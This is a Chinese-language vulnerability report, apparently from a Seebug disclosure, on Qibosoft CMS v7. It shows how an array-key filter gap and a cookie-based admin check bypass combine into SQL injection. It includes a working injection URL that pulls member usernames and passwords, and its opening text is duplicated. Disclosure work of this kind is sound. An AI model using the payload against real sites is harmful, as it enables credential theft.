### 简要描述: 应该逻辑有点小错误? ### 详细说明: http://down.qibosoft.com/down.php?v=v7 刚下载来测试的 发现点问题。 ``` function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); $value=str_replace("&#x","& # x",$value);//过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value);//过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; } ``` @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); 这个对数组中的key并没有过滤得很完善。 如果提交[1'][2] 这样的数组 那么进入这个匹配的就会是2 不会被匹配出 退出。 __ inc/label_module.php中 ``` if($jobs=='show') { if(!$_COOKIE[Admin]&&!$web_admin) { showerr("你无权查看"); } //获取头与尾的标签 preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("head",$head_tpl))); preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("foot",$foot_tpl))); //$label_hf为头部的检索数组,检查头部有多少个标签 is_array($label_hf) || $label_hf=array();...
### 简要描述: 应该逻辑有点小错误? ### 详细说明: http://down.qibosoft.com/down.php?v=v7 刚下载来测试的 发现点问题。 ``` function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); $value=str_replace("&#x","& # x",$value);//过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value);//过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; } ``` @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); 这个对数组中的key并没有过滤得很完善。 如果提交[1'][2] 这样的数组 那么进入这个匹配的就会是2 不会被匹配出 退出。 __ inc/label_module.php中 ``` if($jobs=='show') { if(!$_COOKIE[Admin]&&!$web_admin) { showerr("你无权查看"); } //获取头与尾的标签 preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("head",$head_tpl))); preg_replace('/\$label\[([\'a-zA-Z0-9\_]+)\]/eis',"label_array_hf('\\1')",read_file(getTpl("foot",$foot_tpl))); //$label_hf为头部的检索数组,检查头部有多少个标签 is_array($label_hf) || $label_hf=array(); foreach($label_hf AS $key=>$value) { $rs=$db->get_one("SELECT * FROM {$pre}label WHERE tag='$key' AND chtype='99'"); ``` ``` if(!$_COOKIE[Admin]&&!$web_admin) { showerr("你无权查看"); } ``` 我猜他这里是要管理员才有权限查看? 但是呢 这里我们完全不需要登录 连会员都不用登录。 因为他这里是用的 && 所以只要不满足一个 就不会退出了。 这里的$web_admin肯定我们是无法控制的了 但是$_COOKIE[Admin] 是我们可以直接控制的 那我们就让$_COOKIE[Admin]为1 就不会退出了 [<img src="https://images.seebug.org/upload/201407/310019156f26bc23caf0f898e27e7087f7f8076d.jpg" alt="55.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/310019156f26bc23caf0f898e27e7087f7f8076d.jpg) 被退出了 这里我们无需登录 直接修改一下cookie [<img src="https://images.seebug.org/upload/201407/31002155551e2fc1fa2bd37169d09fc6f4aec8d3.jpg" alt="57.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/31002155551e2fc1fa2bd37169d09fc6f4aec8d3.jpg) 修改了一下cookie就不会被退出了。 ``` foreach($label_hf AS $key=>$value) { $rs=$db->get_one("SELECT * FROM {$pre}label WHERE tag='$key' AND chtype='99'"); if($rs[tag]) ``` 然后直接把数组中的key带入到了查询当中 因为数组中的key没有做addslashes 结合上面的绕过 所以造成了注入。 http://www.test.com/v7/index.php?jobs=show&label_hf[1' and extractvalue(1,concat(0x5c,(select concat(username,password) from qb_members limit 1)))%23][2]=asd [<img src="https://images.seebug.org/upload/201407/310034292a1098185a6694697a23064ba097cca7.jpg" alt="59.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/310034292a1098185a6694697a23064ba097cca7.jpg) 注入成功 出数据。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201407/31003141b90a33ced77140a1016847db60773a74.jpg" alt="58.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/31003141b90a33ced77140a1016847db60773a74.jpg)